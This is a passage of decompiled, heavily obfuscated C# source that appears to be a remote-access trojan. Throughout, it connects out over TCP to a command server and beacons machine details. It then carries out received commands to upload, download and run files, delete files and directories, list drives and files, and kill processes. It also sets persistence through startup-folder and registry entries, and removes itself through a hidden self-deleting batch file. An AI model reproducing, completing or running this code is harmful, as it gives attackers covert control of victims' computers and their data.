\u0087\u0004 obj = \u0087\u0004.\u0092\u0006;
string[] strArray2 = new string[10]
{
str2,
\u0002.\u000F,
this.\u0002(\u0002.\u0010),
\u0002.\u000F,
this.\u0002(\u0002.\u0001.ToString()),
\u0002.\u000F,
this.\u0002(\u0002.\u0015),
\u0002.\u000F,
this.\u0002(\u008B\u0004.\u0098\u0006(\u0002.\u0004)),
\u0002.\u000F
};
string str3 = \u0014\u0002.\u007E\u0097\u0002((object) \u009A\u0002.\u009F\u0002(strArray2));
obj(1, str3, -1L, false);
int[] numArray3 = new int[1]{ 1 };
\u0084\u0004.\u0090\u0006(numArray3);
Process process = \u0083\u0002.\u009D(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1102)));
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
try
{
this.\u0006();
\u0002.\u0003 = true;
\u0002.\u0002 = true;
this.\u0005 = new Thread(new ThreadStart(\u0002.\u0004));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0005);
this.\u0006 = new Thread(new ThreadStart(\u0002.\u0005));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0006);
this.\u0084();
this.\u0007 = new Thread(new ThreadStart(this.\u0086));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0007);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0002.\u0001 = true;
\u0002.\u0003 = 500000;
this.\u0002 = new Thread(new ThreadStart(this.\u000E));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0002);
this.\u0004 = new Thread(new ThreadStart(this.\u000F));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0004);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0008()
{
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0003);
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0004);
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0001);
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0002);
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0005);
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0006);
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0007);
\u0001\u0002.\u007E\u0014((object) \u0002.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u0017\u0004((object) this.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0002.\u000E, FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1068)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
string[] strArray = \u0006\u0004.\u0083\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)));
int index = 0;
while (index < strArray.Length)
{
string str = strArray[index];
try
{
\u0008\u0004.\u0093\u0005(\u009B\u0002.\u0007\u0006(str));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
checked { ++index; }
}
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1059)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0099\u0002.\u009E\u0002(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Startup), \u0002.\u0001.\u0001(475), \u0002.\u0007, \u0002.\u0001.\u0001(480)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001.\u0001(621), \u0002.\u0001.\u0001(587), (object) \u0002.\u0001.\u0001(328), RegistryValueKind.String);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0095\u0004.\u007E\u0006\u0007((object) \u0082\u0004.\u007E\u008E\u0006((object) \u0005.\u0001.\u0002()), \u0002.\u0001.\u0001(498), \u0002.\u0001.\u0001(587), (object) \u0002.\u0001.\u0001(328), RegistryValueKind.String);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
RegistryKey registryKey = \u009F\u0003.\u007E\u0011\u0005((object) Registry.LocalMachine, \u0002.\u0001.\u0001(1228), true);
\u0006\u0002.\u007E\u0010\u0005((object) registryKey, \u0002.\u0001.\u0001(587));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
RegistryKey registryKey = \u009F\u0003.\u007E\u0011\u0005((object) Registry.CurrentUser, \u0002.\u0001.\u0001(1228), true);
\u0006\u0002.\u007E\u0010\u0005((object) registryKey, \u0002.\u0001.\u0001(587));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0011\u0002.\u0014\u0007(), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0002.\u000E);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0092\u0004 obj = \u0092\u0004.\u007E\u0003\u0007;
FileSystemProxy fileSystemProxy = \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002());
string str1 = \u0097\u0002.\u000F\u0006(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Desktop), \u0002.\u0001.\u0001(1289));
string[] strArray = new string[20]
{
\u0002.\u0001.\u0001(1306),
\u0002.\u0005,
\u0002.\u0001.\u0001(1319),
\u0011\u0002.\u0014\u0007(),
\u0002.\u0001.\u0001(777),
\u0002.\u0005,
\u0002.\u0001.\u0001(1332),
\u0002.\u000E,
\u0002.\u0001.\u0001(1068),
\u0002.\u0005,
\u0002.\u0001.\u0001(1332),
\u0002.\u000E,
\u0002.\u0001.\u0001(1345),
\u0002.\u0005,
\u0002.\u0001.\u0001(1332),
\u0002.\u000E,
\u0002.\u0005,
\u0002.\u0001.\u0001(1306),
\u0002.\u0005,
\u0002.\u0001.\u0001(1354)
};
string str2 = \u009A\u0002.\u009F\u0002(strArray);
obj((object) fileSystemProxy, str1, str2, false);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
ProcessStartInfo processStartInfo = new ProcessStartInfo(\u0097\u0002.\u000F\u0006(\u0014\u0003.\u008C\u0003(Environment.SpecialFolder.Desktop), \u0002.\u0001.\u0001(1289)));
\u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, true);
\u0088\u0002.\u007E\u0011\u0002((object) processStartInfo, ProcessWindowStyle.Hidden);
Process process = \u0086\u0002.\u009F(processStartInfo);
\u0001\u0002.\u007E\u0001\u0002((object) \u0082\u0002.\u009C());
}
public void \u000E()
{
while (true)
{
try
{
if (\u0002.\u0001)
{
if (\u0002.\u0003 <= 0)
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0004);
\u0002.\u0001 obj = this;
// ISSUE: virtual method pointer
this.\u0004 = new Thread(new ThreadStart((object) obj, __vmethodptr(obj, \u000F)));
\u0001\u0002.\u007E\u0019\u0004((object) this.\u0004);
}
else
{
\u0015\u0003.\u001B\u0004(60000);
checked { \u0002.\u0003 -= 60000; }
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0015\u0003.\u001B\u0004(500);
}
}
public void \u000F()
{
try
{
\u0002.\u0001 = false;
label_1:
while (true)
{
while (!\u0004\u0002.\u007E\u008A\u0006((object) \u0081\u0004.\u007E\u008D\u0006((object) \u0005.\u0001.\u0002())))
\u0015\u0003.\u001B\u0004(5000);
try
{
\u0002.\u0001 = new TcpClient();
try
{
\u0002.\u0001 = (BinaryReader) null;
\u0002.\u0001 = (BinaryWriter) null;
\u0019\u0002.\u007E\u008F((object) \u0002.\u0001, \u0002.\u0014, \u0002.\u0002);
\u0002.\u0001 = new BinaryReader((Stream) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001));
\u0002.\u0001 = new BinaryWriter((Stream) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0002.\u0001 = false;
\u0001\u0002.\u007E\u0091((object) \u0002.\u0001);
\u0002.\u0001 = (TcpClient) null;
\u0002.\u0001 = (BinaryReader) null;
\u0002.\u0001 = (BinaryWriter) null;
\u0015\u0003.\u001B\u0004(10000);
\u0016\u0003.\u0001\u0007();
continue;
}
try
{
this.\u0002 = \u0014\u0002.\u009B\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006(\u0088\u0003.\u009E\u0006((object) \u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0097\u0002.\u009C\u0002(\u0002.\u0007, \u0002.\u0001.\u0001(225)), \u0014\u0002.\u007E\u0087((object) \u0015\u0002.\u007E\u0089((object) \u0012\u0002.\u0084(\u0011\u0002.\u0083()))[0])), \u0002.\u0001.\u0001(225)), \u0002.\u0012), \u0002.\u0001.\u0001(225)), \u0002.\u0013), \u0002.\u0001.\u0001(225)), \u0002.\u0003.\u0002()), (object) \u0002.\u0001.\u0001(225)), (object) \u0014\u0002.\u007E\u0097\u0002((object) \u0011\u0002.\u0087\u0003())), (object) \u0002.\u0001.\u0001(225)), (object) \u0002.\u0015));
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(this.\u0002));
\u0002.\u0003 = 360000;
\u0002.\u0001 = true;
while (true)
{
while (\u008F\u0004.\u009D\u0006(this.\u0004, \u0002.\u0001.\u0001(328), false) == 0)
{
try
{
this.\u0004 = \u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0002.\u0001 = false;
\u0001\u0002.\u007E\u0091((object) \u0002.\u0001);
\u0002.\u0001 = (TcpClient) null;
\u0002.\u0001 = (BinaryReader) null;
\u0002.\u0001 = (BinaryWriter) null;
\u0016\u0003.\u0001\u0007();
goto label_1;
}
\u0016\u0003.\u0016\u0007();
}
try
{
\u0002.\u0001 = true;
\u0002.\u0003 = 360000;
string str = this.\u0003(this.\u0004);
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1367), false) == 0)
\u0002.\u0003 = 360000;
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1380), false) == 0)
this.\u0015();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1397), false) == 0)
this.\u0014();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1414), false) == 0)
this.\u0011();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1435), false) == 0)
this.\u0012();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1452), false) == 0)
this.\u0013();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1469), false) == 0)
this.\u0017();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1482), false) == 0)
this.\u0008();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1499), false) == 0)
this.\u0018();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1516), false) == 0)
this.\u001A();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1533), false) == 0)
this.\u001B();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1550), false) == 0)
this.\u0019();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1571), false) == 0)
this.\u001C();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1588), false) == 0)
this.\u001D();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1605), false) == 0)
this.\u001E();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1622), false) == 0)
this.\u001F();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1639), false) == 0)
this.\u007F();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1656), false) == 0)
this.\u0016();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1673), false) == 0)
this.\u0080();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1690), false) == 0)
this.\u0081();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1715), false) == 0)
this.\u0082();
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1732), false) == 0)
this.\u0083();
this.\u0004 = \u0002.\u0001.\u0001(328);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0002.\u0001 = false;
this.\u0004 = \u0002.\u0001.\u0001(328);
\u0001\u0002.\u007E\u0091((object) \u0002.\u0001);
\u0002.\u0001 = (TcpClient) null;
\u0002.\u0001 = (BinaryReader) null;
\u0002.\u0001 = (BinaryWriter) null;
\u0016\u0003.\u0001\u0007();
goto label_1;
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0002.\u0001 = false;
\u0001\u0002.\u007E\u0091((object) \u0002.\u0001);
\u0002.\u0001 = (TcpClient) null;
\u0002.\u0001 = (BinaryReader) null;
\u0002.\u0001 = (BinaryWriter) null;
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0002.\u0001 = false;
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
goto label_1;
}
}
private void \u0010()
{
try
{
this.\u0002(\u0002.\u0001[0], \u0002.\u0001[1], \u0002.\u0001[2]);
\u0002.\u0001 = (string[]) null;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
private void \u0002([In] string obj0, [In] string obj1, [In] string obj2)
{
try
{
string str = obj0;
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1749), false) != 0)
{
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1762), false) == 0)
{
Process process1 = \u0084\u0002.\u009E(\u0002.\u0001.\u0001(1771), \u0002.\u0001.\u0001(1784));
}
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1797), false) == 0)
{
Process process2 = \u0084\u0002.\u009E(\u0002.\u0001.\u0001(1771), \u0002.\u0001.\u0001(1810));
}
else
{
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0001.\u0001(1823), false) != 0)
return;
Process process3 = \u0084\u0002.\u009E(\u0002.\u0001.\u0001(1771), \u0002.\u0001.\u0001(1836));
}
}
else
{
ProcessStartInfo processStartInfo = new ProcessStartInfo(obj1);
\u0005\u0002.\u007E\u000F\u0002((object) processStartInfo, true);
Process process4 = \u0086\u0002.\u009F(processStartInfo);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0011()
{
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
string str1 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(0, this.\u0001, \u0002.\u0001.\u0001(1849)));
string str2 = \u0014\u0002.\u009B\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(1849)));
try
{
string str3 = str1;
if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1858), false) == 0)
{
if (\u0004\u0004.\u0081\u0005(str2))
{
try
{
string[] strArray = \u0006\u0004.\u0083\u0005(str2);
int index = 0;
while (index < strArray.Length)
{
string str4 = strArray[index];
try
{
\u0008\u0004.\u0093\u0005(str4);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
checked { ++index; }
}
\u0015\u0003.\u0090\u0003(0);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(str2, FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0008\u0004.\u0089\u0005(str2);
}
}
else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1871), false) == 0)
{
if (\u0004\u0004.\u0094\u0005(str2))
{
try
{
\u0015\u0004.\u0099\u0005(str2, FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
\u0008\u0004.\u0093\u0005(str2);
}
}
else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1884), false) == 0)
{
if (!\u0004\u0004.\u0081\u0005(str2))
{
DirectoryInfo directoryInfo = \u0003\u0004.\u0080\u0005(str2);
}
}
else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1901), false) == 0)
{
this.\u0008 = str2;
this.\u0001 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(1849)))));
this.\u0002 = checked ((long) \u000F\u0003.\u0081\u0003(\u000E\u0002.\u0014\u0006(\u0002.\u0002(3, this.\u0001, \u0002.\u0001.\u0001(1849)))));
this.\u000F = \u0097\u0002.\u000F\u0006(\u0014\u0002.\u009B\u0006(\u0002.\u0002(4, this.\u0001, \u0002.\u0001.\u0001(1849))), this.\u0008);
try
{
\u0008\u0004.\u0093\u0005(this.\u000F);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
byte[] numArray = new byte[checked ((int) this.\u0002 + 1)];
long num1 = 0;
FileStream fileStream = new FileStream(this.\u000F, FileMode.Create, FileAccess.Write);
try
{
while (num1 != this.\u0001)
{
int num2 = \u0016\u0002.\u007E\u008A((object) \u001A\u0002.\u007E\u0090((object) \u0002.\u0001), numArray, 0, numArray.Length);
\u0017\u0002.\u007E\u0005\u0006((object) fileStream, numArray, 0, num2);
checked { num1 += (long) num2; }
\u0001\u0002.\u007E\u0003\u0006((object) fileStream);
}
\u0001\u0002.\u007E\u0019\u0005((object) fileStream);
}
finally
{
if (fileStream != null)
\u0001\u0002.\u007E\u0088\u0002((object) fileStream);
}
}
else if (\u008F\u0004.\u009D\u0006(str3, \u0002.\u0001.\u0001(1918), false) == 0)
{
Process process = \u0083\u0002.\u009D(str2);
}
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(1935)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(1948)));
\u0016\u0003.\u0001\u0007();
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0012()
{
string str1;
string str2;
string str3;
string str4;
string str5;
try
{
string str6 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
string str7 = \u0002.\u0001.\u0001(328);
string[] strArray1 = \u0006\u0004.\u0083\u0005(str6);
int num1 = \u008C\u0002.\u007E\u0087\u0002((object) strArray1, 0);
int index = 0;
string str8;
string str9;
string str10;
while (index <= num1)
{
FileInfo fileInfo = new FileInfo(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]));
DateTime dateTime;
if (\u008F\u0004.\u009D\u0006(str7, \u0002.\u0001.\u0001(328), false) == 0)
{
str7 = \u0014\u0002.\u007E\u009E\u0005((object) fileInfo);
double num2 = \u0019\u0003.\u0097\u0003((double) \u001F\u0002.\u007E\u009F\u0005((object) fileInfo) / 1048576.0, 2);
str8 = \u0097\u0002.\u009C\u0002(num2.ToString(), \u0002.\u0001.\u0001(1957));
str9 = \u0014\u0002.\u007E\u0082\u0002(\u0002.\u0002(fileInfo));
dateTime = \u000E\u0004.\u007E\u008B\u0005((object) fileInfo);
str10 = dateTime.ToString();
}
else
{
str7 = \u0098\u0002.\u009D\u0002(str7, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u009E\u0005((object) fileInfo));
str8 = \u0099\u0002.\u009E\u0002(str8, \u0002.\u0001.\u0001(1962), \u0019\u0003.\u0097\u0003((double) \u001F\u0002.\u007E\u009F\u0005((object) fileInfo) / 1048576.0, 2).ToString(), \u0002.\u0001.\u0001(1957));
str9 = \u0098\u0002.\u009D\u0002(str9, \u0002.\u0001.\u0001(1962), \u0014\u0002.\u007E\u0082\u0002(\u0002.\u0002(fileInfo)));
\u0098\u0002 obj = \u0098\u0002.\u009D\u0002;
string str11 = str10;
string str12 = \u0002.\u0001.\u0001(1962);
dateTime = \u000E\u0004.\u007E\u008B\u0005((object) fileInfo);
string str13 = dateTime.ToString();
str10 = obj(str11, str12, str13);
}
checked { ++index; }
}
if (\u008F\u0004.\u009D\u0006(str7, \u0002.\u0001.\u0001(328), false) == 0)
{
string str14 = \u0002.\u0001.\u0001(1971);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str14));
}
else
{
string[] strArray2 = new string[7]
{
str7,
\u0002.\u0001.\u0001(2000),
str8,
\u0002.\u0001.\u0001(2000),
str9,
\u0002.\u0001.\u0001(2000),
str10
};
string str15 = \u009A\u0002.\u009F\u0002(strArray2);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str15));
}
str1 = (string) null;
str2 = (string) null;
str3 = (string) null;
str4 = (string) null;
str5 = (string) null;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
string str16 = \u0002.\u0001.\u0001(2009);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str16));
str1 = (string) null;
str2 = (string) null;
str3 = (string) null;
str4 = (string) null;
str5 = (string) null;
\u0016\u0003.\u0001\u0007();
}
}
public void \u0013()
{
try
{
string str1 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
string str2 = \u0002.\u0001.\u0001(328);
string[] strArray = \u0006\u0004.\u0084\u0005(str1);
int num = \u008C\u0002.\u007E\u0087\u0002((object) strArray, 0);
int index = 0;
while (index <= num)
{
str2 = \u008F\u0004.\u009D\u0006(str2, \u0002.\u0001.\u0001(328), false) != 0 ? \u0098\u0002.\u009D\u0002(str2, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u0097\u0002((object) strArray[index])) : \u0014\u0002.\u007E\u0097\u0002((object) strArray[index]);
checked { ++index; }
}
if (\u008F\u0004.\u009D\u0006(str2, \u0002.\u0001.\u0001(328), false) == 0)
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2038)));
else
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str2));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2047)));
\u0016\u0003.\u0001\u0007();
}
}
public void \u0014()
{
try
{
string str1 = \u0002.\u0001.\u0001(328);
string[] strArray1 = \u0007\u0004.\u0086\u0005();
DriveInfo[] driveInfoArray = \u0010\u0004.\u008F\u0005();
string str2 = \u009B\u0002.\u0087\u0005(\u0011\u0002.\u0086\u0003());
int num = \u008C\u0002.\u007E\u0087\u0002((object) strArray1, 0);
int index = 0;
while (index <= num)
{
if (\u008F\u0004.\u009D\u0006(str1, \u0002.\u0001.\u0001(328), false) == 0)
str1 = \u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), str2, false) != 0 ? \u0098\u0002.\u009D\u0002(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2077), \u0014\u0002.\u007E\u0089\u0002((object) \u000F\u0004.\u007E\u008D\u0005((object) driveInfoArray[index]))) : \u0097\u0002.\u009C\u0002(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2056));
else if (\u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), str2, false) == 0)
{
str1 = \u0099\u0002.\u009E\u0002(str1, \u0002.\u0001.\u0001(1849), \u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]), \u0002.\u0001.\u0001(2056));
}
else
{
string[] strArray2 = new string[5]
{
str1,
\u0002.\u0001.\u0001(1849),
\u0014\u0002.\u007E\u0097\u0002((object) strArray1[index]),
\u0002.\u0001.\u0001(2077),
\u0014\u0002.\u007E\u0089\u0002((object) \u000F\u0004.\u007E\u008D\u0005((object) driveInfoArray[index]))
};
str1 = \u009A\u0002.\u009F\u0002(strArray2);
}
checked { ++index; }
}
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str1));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0015()
{
try
{
string str = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
\u0002.\u0001 = \u0081\u0002.\u009B();
int num1 = \u008C\u0002.\u007E\u0087\u0002((object) \u0002.\u0001, 0);
int index = 0;
while (index <= num1)
{
try
{
int num2 = \u001D\u0002.\u007E\u0096((object) \u0002.\u0001[index]);
if (\u008F\u0004.\u009D\u0006(num2.ToString(), str, false) == 0)
\u0001\u0002.\u007E\u0001\u0002((object) \u0002.\u0001[index]);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
checked { ++index; }
}
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2090)));
\u0015\u0003.\u0090\u0003(2);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(\u0002.\u0001.\u0001(2103)));
\u0016\u0003.\u0001\u0007();
}
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
public void \u0016()
{
try
{
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
if (\u008F\u0004.\u009D\u0006(this.\u0001, \u0002.\u0001.\u0001(2112), false) == 0)
{
\u0083\u0004.\u008F\u0006(1, \u0011\u0002.\u0014\u0007(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
string str1 = \u008B\u0004.\u0011\u0007(checked ((int) \u0088\u0004.\u0093\u0006(1)));
\u0086\u0004.\u0091\u0006(1, ref str1, -1L, false);
int[] numArray = new int[1]{ 1 };
\u0084\u0004.\u0090\u0006(numArray);
string[] strArray1 = \u009A\u0004.\u0012\u0007(str1, \u0002.\u000F, -1, CompareMethod.Binary);
string[] strArray2 = new string[5]
{
this.\u0003(strArray1[1]),
\u0002.\u000F,
this.\u0003(strArray1[2]),
\u0002.\u000F,
this.\u0003(strArray1[3])
};
string str2 = \u009A\u0002.\u009F\u0002(strArray2);
\u0006\u0002.\u007E\u007F\u0005((object) \u0002.\u0001, this.\u0002(str2));
}
if (\u008F\u0004.\u009D\u0006(this.\u0001, \u0002.\u0001.\u0001(2121), false) != 0)
return;
this.\u0001 = this.\u0003(\u0014\u0002.\u007E\u001E\u0005((object) \u0002.\u0001));
try
{
try
{
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0002);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0001);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0001\u0002.\u007E\u001A\u0004((object) this.\u0005);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
